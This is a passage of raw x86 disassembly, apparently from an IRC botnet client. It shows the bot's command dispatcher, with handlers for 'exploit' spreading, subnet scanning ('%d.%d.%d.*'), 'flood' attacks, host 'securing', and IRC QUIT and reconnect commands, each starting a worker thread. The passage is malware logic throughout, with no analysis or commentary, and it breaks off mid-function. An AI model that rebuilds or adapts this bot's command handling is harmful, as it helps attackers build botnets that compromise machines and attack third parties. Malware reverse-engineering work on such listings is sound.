		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403FCC
		push	offset unk_42C300
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401ACD+24F3j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEB
		push	offset unk_42C2D8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FEB:				; CODE XREF: sub_401ACD+2512j
		push	offset unk_42C2B8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FF5:				; CODE XREF: sub_401ACD+18D0j
					; sub_401ACD+18E5j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CF
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_401ACD+18A6j
					; sub_401ACD+18BBj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C29
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401ACD+187Cj
					; sub_401ACD+1891j
		or	edi, 0FFFFFFFFh
		call	near ptr 2690E09h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404054
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404054:				; CODE XREF: sub_401ACD+257Cj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409855


loc_40406D:				; CODE XREF: sub_401ACD+2595j
		push	ebx
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C2A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_4040AB:				; CODE XREF: sub_401ACD+529Dj
		add	esp, 24h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4040B3:				; CODE XREF: sub_401ACD+1852j
					; sub_401ACD+1867j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A30
		add	esp, 0Ch
		push	offset dword_42C280
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_4040D1:				; CODE XREF: sub_401ACD+1828j
					; sub_401ACD+183Dj
		push	27h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_404105
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C260
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_4040FD:				; CODE XREF: sub_401ACD+7238j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404105:				; CODE XREF: sub_401ACD+260Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404166
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404166
		mov	[ebp+var_AA8], 1


loc_404166:				; CODE XREF: sub_401ACD+267Cj
					; sub_401ACD+268Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C23C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EC
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4041D4


loc_4041BE:				; CODE XREF: sub_401ACD+2705j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409631
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_4041BE
; ---------------------------------------------------------------------------


loc_4041D4:				; CODE XREF: sub_401ACD+26EFj
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C200
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409631
; ---------------------------------------------------------------------------


loc_4041F4:				; CODE XREF: sub_401ACD+17FEj
					; sub_401ACD+1813j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404213
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1E4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404213:				; CODE XREF: sub_401ACD+272Aj
		push	[ebp+arg_4]
		call	dword_4CB6EC
		call	dword_4CB5AC
		call	sub_41835A
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_40422E:				; CODE XREF: sub_401ACD+17D4j
					; sub_401ACD+17E9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA43
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1C8
		jmp	short loc_404286
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_401ACD+17AAj
					; sub_401ACD+17BFj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1AC


loc_404286:				; CODE XREF: sub_401ACD+24E4j
					; sub_401ACD+278Aj
		call	sub_4151AD
		add	esp, 18h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_404293:				; CODE XREF: sub_401ACD+1780j
					; sub_401ACD+1795j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524D
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_401ACD+1756j
					; sub_401ACD+176Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EB
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EB
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EB
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EB:				; CODE XREF: sub_401ACD+27E8j
					; sub_401ACD+27F3j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C194
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset word_41528E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40438E


loc_404378:				; CODE XREF: sub_401ACD+28BFj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_404378
; ---------------------------------------------------------------------------


loc_40438E:				; CODE XREF: sub_401ACD+28A9j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42C15C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439F:				; CODE XREF: sub_401ACD+172Cj
					; sub_401ACD+1741j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415135
		push	offset dword_42C144
		call	sub_4151AD


loc_4043BA:				; CODE XREF: sub_401ACD+2454j
		add	esp, 10h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4043C2:				; CODE XREF: sub_401ACD+1702j
					; sub_401ACD+1717j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441C
		push	offset dword_42C140
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404422
; ---------------------------------------------------------------------------


loc_40441C:				; CODE XREF: sub_401ACD+2933j
		mov	[ebp+var_B40], ebx


loc_404422:				; CODE XREF: sub_401ACD+294Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C120
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset word_40B162
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404490


loc_40447A:				; CODE XREF: sub_401ACD+29C1j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_40447A
; ---------------------------------------------------------------------------


loc_404490:				; CODE XREF: sub_401ACD+29ABj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42C0E4
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_4044A1:				; CODE XREF: sub_401ACD+1686j
					; sub_401ACD+169Bj
		push	offset aQsfposs	; "qsfposs"
		push	offset dword_42C0CC


loc_4044AB:				; CODE XREF: sub_401ACD+2A1Dj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_4044D8:				; CODE XREF: sub_401ACD+165Cj
					; sub_401ACD+1671j
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	offset unk_42C0A0
		jmp	short loc_4044AB
; ---------------------------------------------------------------------------


loc_4044EC:				; CODE XREF: sub_401ACD+1632j
					; sub_401ACD+1647j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451E
		cmp	[ebp+var_C], ebx
		jz	short loc_40452D
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452D
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		jmp	short loc_40452D
; ---------------------------------------------------------------------------


loc_40451E:				; CODE XREF: sub_401ACD+2A28j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		pop	ecx


loc_40452D:				; CODE XREF: sub_401ACD+2A2Dj
					; sub_401ACD+2A3Cj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404534:				; CODE XREF: sub_401ACD+1608j
					; sub_401ACD+161Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C050
		call	sub_4151AD
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404556:				; CODE XREF: sub_401ACD+15DEj
					; sub_401ACD+15F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C01C
		call	sub_4151AD
		add	esp, 0Ch
		jmp	loc_4097BA
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_401ACD+15B4j
					; sub_401ACD+15C9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DB
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_401ACD+158Aj
					; sub_401ACD+159Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B786
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1560j
					; sub_401ACD+1575j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B71A
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045B7:				; CODE XREF: sub_401ACD+1536j
					; sub_401ACD+154Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64B
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045CD:				; CODE XREF: sub_401ACD+1491j
					; sub_401ACD+14A6j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42C00C
		push	offset dword_42BFFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045E5:				; CODE XREF: sub_401ACD+1467j
					; sub_401ACD+147Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFF0
		push	offset dword_42BFE0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045FD:				; CODE XREF: sub_401ACD+1083j
					; sub_401ACD+1098j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404621
; ---------------------------------------------------------------------------


loc_40461C:				; CODE XREF: sub_401ACD+2B39j
					; sub_401ACD+2B44j
		mov	eax, dword_429074


loc_404621:				; CODE XREF: sub_401ACD+2B4Dj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404646
		push	esi


loc_404633:				; CODE XREF: sub_401ACD+2B88j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465D
; ---------------------------------------------------------------------------


loc_404646:				; CODE XREF: sub_401ACD+2B63j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404657
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404633
; ---------------------------------------------------------------------------


loc_404657:				; CODE XREF: sub_401ACD+2B7Fj
		mov	[ebp+var_5A0], bl


loc_40465D:				; CODE XREF: sub_401ACD+2B77j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BFB8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_4111CE
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40470E


loc_4046F8:				; CODE XREF: sub_401ACD+2C3Fj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_4046F8
; ---------------------------------------------------------------------------


loc_40470E:				; CODE XREF: sub_401ACD+2C29j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset dword_42BF7C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471F:				; CODE XREF: sub_401ACD+1019j
					; sub_401ACD+102Ej
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404745
; ---------------------------------------------------------------------------


loc_40473F:				; CODE XREF: sub_401ACD+2C5Bj
					; sub_401ACD+2C67j
		mov	ax, word_429084


loc_404745:				; CODE XREF: sub_401ACD+2C70j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF50
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A73
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F7
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40E504
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404814


loc_4047FE:				; CODE XREF: sub_401ACD+2D45j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_4047FE
; ---------------------------------------------------------------------------


loc_404814:				; CODE XREF: sub_401ACD+2D2Fj
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_42BF10
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404825:				; CODE XREF: sub_401ACD+FC5j
					; sub_401ACD+FDAj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484D
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404857


loc_40484D:				; CODE XREF: sub_401ACD+2D67j
		mov	[ebp+var_A10], 1


loc_404857:				; CODE XREF: sub_401ACD+2D7Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489E
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489E:				; CODE XREF: sub_401ACD+2DCAj
		push	eax
		push	offset dword_42BEDC
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E1A
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404912


loc_4048FC:				; CODE XREF: sub_401ACD+2E43j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_4048FC
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_401ACD+2E2Dj
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset dword_42BEA0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_404923:				; CODE XREF: sub_401ACD+F9Bj
					; sub_401ACD+FB0j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AF


loc_404934:				; CODE XREF: sub_401ACD+2AB9j
					; sub_401ACD+2ACFj ...
		add	esp, 0Ch
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_40493C:				; CODE XREF: sub_401ACD+F71j
					; sub_401ACD+F86j
		push	offset unk_42BDF0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: sub_401ACD+F47j
					; sub_401ACD+F5Cj
		push	offset aAbosel7Vs ; "abosel7 vs"
		push	offset dword_42BDE0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_404955:				; CODE XREF: sub_401ACD+F1Dj
					; sub_401ACD+F32j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AF
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A7
		cmp	eax, 3
		jge	short loc_4049A7
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499F
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_40499F:				; CODE XREF: sub_401ACD+2EB1j
		push	eax
		push	offset unk_42BDB4
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_401ACD+2E9Cj
					; sub_401ACD+2EA1j
		push	eax
		push	offset unk_42BD88
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049AF:				; CODE XREF: sub_401ACD+2E91j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B4:				; CODE XREF: sub_401ACD+2F03j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D7
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B4
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_4049D7:				; CODE XREF: sub_401ACD+2EF7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D0B4


loc_4049EC:				; CODE XREF: sub_401ACD+2153j
					; sub_401ACD+2ED8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_4049FD:				; CODE XREF: sub_401ACD+EF3j
					; sub_401ACD+F08j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A6
		call	sub_40B2C0
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A23:				; CODE XREF: sub_401ACD+1A12j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB1
		cmp	dword_4CEE08, ebx
		jz	short loc_404A4B
		push	offset dword_4CE7E8


loc_404A41:				; CODE XREF: sub_401ACD+2FE2j
		push	offset unk_42BD4C
		jmp	loc_404AE1
; ---------------------------------------------------------------------------


loc_404A4B:				; CODE XREF: sub_401ACD+2F6Dj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A41
; ---------------------------------------------------------------------------


loc_404AB1:				; CODE XREF: sub_401ACD+2F65j
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC5
		push	offset unk_42BD0C
		jmp	short loc_404AE1
; ---------------------------------------------------------------------------


loc_404AC5:				; CODE XREF: sub_401ACD+2FEFj
		push	offset dword_4CE7E8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEE08, 1
		pop	ecx
		push	esi
		push	offset unk_42BCE0


loc_404AE1:				; CODE XREF: sub_401ACD+2F79j
					; sub_401ACD+2FF6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FE
; ---------------------------------------------------------------------------


loc_404AF5:				; CODE XREF: sub_401ACD+19FAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF8
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BCA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset word_40B8A2
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404BE7


loc_404BD1:				; CODE XREF: sub_401ACD+3118j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BE7:				; CODE XREF: sub_401ACD+3102j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42BC68
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_404BF8:				; CODE XREF: sub_401ACD+3037j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DF
		nop
		call	near ptr 2690E09h
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
